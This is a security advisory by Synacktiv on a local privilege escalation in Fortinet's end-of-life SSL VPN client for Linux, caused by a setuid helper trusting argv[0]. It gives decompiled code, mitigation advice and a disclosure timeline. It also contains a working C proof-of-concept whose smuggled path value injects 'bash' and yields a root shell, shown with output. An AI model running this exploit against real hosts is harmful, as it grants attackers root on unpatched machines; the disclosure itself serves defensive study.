Local Privilege Escalation in Fortinet SSL VPN client for Linux

Security advisory

2020-09-18

Thomas Chauchefoin

Vulnerability description

Presentation of the product

This version of Fortinet's SSL VPN client for Linux allows end-users to establish SSL VPN tunnels with *Fortigate* appliances.

The issue

Synacktiv discovered that a *setuid root* helper named *subproc* uses *argv[0]* to determine where this software is installed. However, this value cannot be trusted as it can be controlled by a parent process when spawning *subproc*. This value is unsafely used in numerous operations, from reading / writing files to executing commands.

This vulnerable pattern was found at 4 different locations:

- In the function *main*, when removing existing log files;
- In action 0's handler, when rotating two log files using an external command;
- In action 1's handler, when crafting the path to *waitppp.sh* and executing it;
- In action 2's handler, when crafting the path to *pppd.log.*

This behaviour results in several plausible scenarios of local privilege escalation to *root*, one of which (the second one) is demonstrated in this document.

Mitigation

It is advised to stop relying on *argv[0]* and to use *readlink(2)* on */proc/self/exe* to find out *subproc*'s location instead.

Synacktiv is not aware of any available fix and Fortinet PSIRT confirmed that the product is end-of-life (eg. It will not receive any update). The SSL VPN functionality has been merged in *FortiClient Linux* starting from 6.2.3.

Affected versions

Synacktiv could only confirm that versions 4.0-2281 and 4.4-2336 are affected.

Timeline

Date	Action
2020-09-18	Advisory sent to the Fortinet PSIRT.
2020-09-19	Fortinet PSIRT tells that the product may not be supported anymore.
2020-09-22	Fortinet PSIRT confirms that the product is EoL and will not receive any update, agrees with disclosure.
2020-09-23	Public disclosure.

Technical description and proof-of-concept

The following description and proof-of-concept aim to show that blindly relying on *argv[0]* as-is is not safe.

In the *main* function, a global buffer containing a size-constrained ([1]) copy ([2]) of *argv[0]* is truncated right after the last slash character ([3]):

```
__int64 __fastcall main(int argc, char **argv, char **envp)
{
  // [...]

  if ( (unsigned int)(argc - 2) > 0x3E
    || (argv_1 = __strtol_internal(argv[1], 0LL, 0, 0), argv_1 > 8)
    || (argv_0 = *argv, v7 = strlen(*argv), v8 = v7, v7 > 0xFE0) )  // [1]
  {
LABEL_2:
    res = -1;
  }
  else
  {
    memcpy(glob_argv_0, argv_0, (int)v7); // [2]
    while ( --v8 != -1 )
    {
      v9 = v8;
      if ( glob_argv_0[v8] == '/' )
        goto LABEL_11;
    }
    v9 = -1LL;
LABEL_11:
    glob_argv_0[v9] = 0; // [3]
```

Then, one action out of 6 is performed based on *argv[1]* ([4]):

```
   switch ( argv_1 ) // [4]
    {
      case 0:
        res = setuid(0);
        if ( res == -1 )
          goto LABEL_27;
        res = seteuid(0);
        if ( res == -1 )
          goto LABEL_26;
        res = action_0(); // [5]
        break;
      case 1:
        if ( argc != 5 )
          goto LABEL_2;
        // [...]
        break;
      case 2:
        if ( argc != 3 )
          goto LABEL_2;
        res = setuid(0);
        if ( res == -1 )
          goto LABEL_27;
        res = seteuid(0);
        if ( res == -1 )
          goto LABEL_26;
        res = action_2(argv[2]);
        break;
      case 5:
        if ( argc != 4 )
          goto LABEL_2;
        snprintf(v33, 0x1000uLL, "%s/pppd.log", glob_argv_0);
        v19 = __strtol_internal(argv[2], 0LL, 10, 0);
        v20 = __strtol_internal(argv[3], 0LL, 10, 0);
        strcpy(path, "/usr/sbin/pppd");
        // [...]
        res = setuid(0);
        if ( res == -1 )
          goto LABEL_27;
        res = seteuid(0);
        if ( res == -1 )
          goto LABEL_26;
        res = -1;
        execv(path, &subproc_argv);
        break;
      case 6:
        res = setuid(0);
        if ( res == -1 )
          goto LABEL_27;
        res = seteuid(0);
        if ( res == -1 )
          goto LABEL_26;
        res = action_6();
        break;
      case 8:
        res = setuid(0);
        if ( res == -1 )
          goto LABEL_27;
        res = seteuid(0);
        if ( res == -1 )
          goto LABEL_26;
        res = 0;
        v10 = (const char *)action_8();
        fputs(v10, stdout);
        break;
      default:
        goto LABEL_2;
    }
```

While digging into the handler *action_0* ([5]), a first vulnerable pattern can be noticed. First, initial and new log file's names are created by respectively concatenating the copy of *argv[0]* with */forticlientsslvpn.log* and *forticlientsslvpn.log.1*. The rotation is then performed using *tail* (see [7]):

```
__int64 action_0() // [5]
{
  // [...]
    snprintf(logfile, 0x1000uLL, "%s/forticlientsslvpn.log", glob_argv_0);
    res = access(logfile, 0);
    v26 = 0;
    if ( !res )
    {
      log(0, "truncate forticlientsslvpn.log", 0LL);
      snprintf(new_logfile, 0x1000uLL, "%s/forticlientsslvpn.log.1", glob_argv_0);
      snprintf(command, 0x3000uLL, "/usr/bin/tail -n 300 \"%s\" > \"%s\"", logfile,
new_logfile); // [6]
      system(command);
      copy_file(new_logfile, logfile);
      remove(new_logfile);
      v26 = 0;
    }
  }
```

Both paths being fully controlled by the attacker, it causes three immediate risks:

- shell meta-characters are not escaped, allowing to use command substitution or to start new expressions;
- parameter injection is not prevented, while not exploitable in the present example;
- input and output paths can be controlled by the attacker, allowing to read and write into arbitrary files.

It should be noted that the rotation of *pppd.log* in the same function is also vulnerable.

The following code was written as a proof-of-concept, to demonstrate the exploitation of a command injection in the handler of the action 0:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

#define PAYLOAD "/tmp/bla\";bash;/"

int main(int argc, char *argv[])
{
    mkdir(PAYLOAD, 0700);
    char *newargv[] = { PAYLOAD, "0", NULL };
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <subproc>\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    execv(argv[1], newargv);
    perror("execv");
    exit(EXIT_FAILURE);
}
```

The code will work as expected and grants a *root* shell:

```
user@user-VirtualBox:/tmp$ ./a.out ~/forticlientsslvpn/64bit/helper/subproc
/usr/bin/tail: cannot open '/tmp/bla' for reading: No such file or directory
root@user-VirtualBox:/tmp# id
uid=0(root) gid=1000(user)
groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(s
ambashare)
```

strace allows confirming the injection indeed happened here:

```
[pid 12961] execve("/bin/sh", ["sh", "-c", "/usr/bin/tail -n 300
\"/tmp/bla\";bash;/forticlientsslvpn.log\" >
\"/tmp/bla\";bash;/forticlientsslvpn.log.1\""], ["SHELL=/bin/bash", "PWD=/tmp",
"LOGNAME=user", "XDG_SESSION_TYPE=tty"[...]
```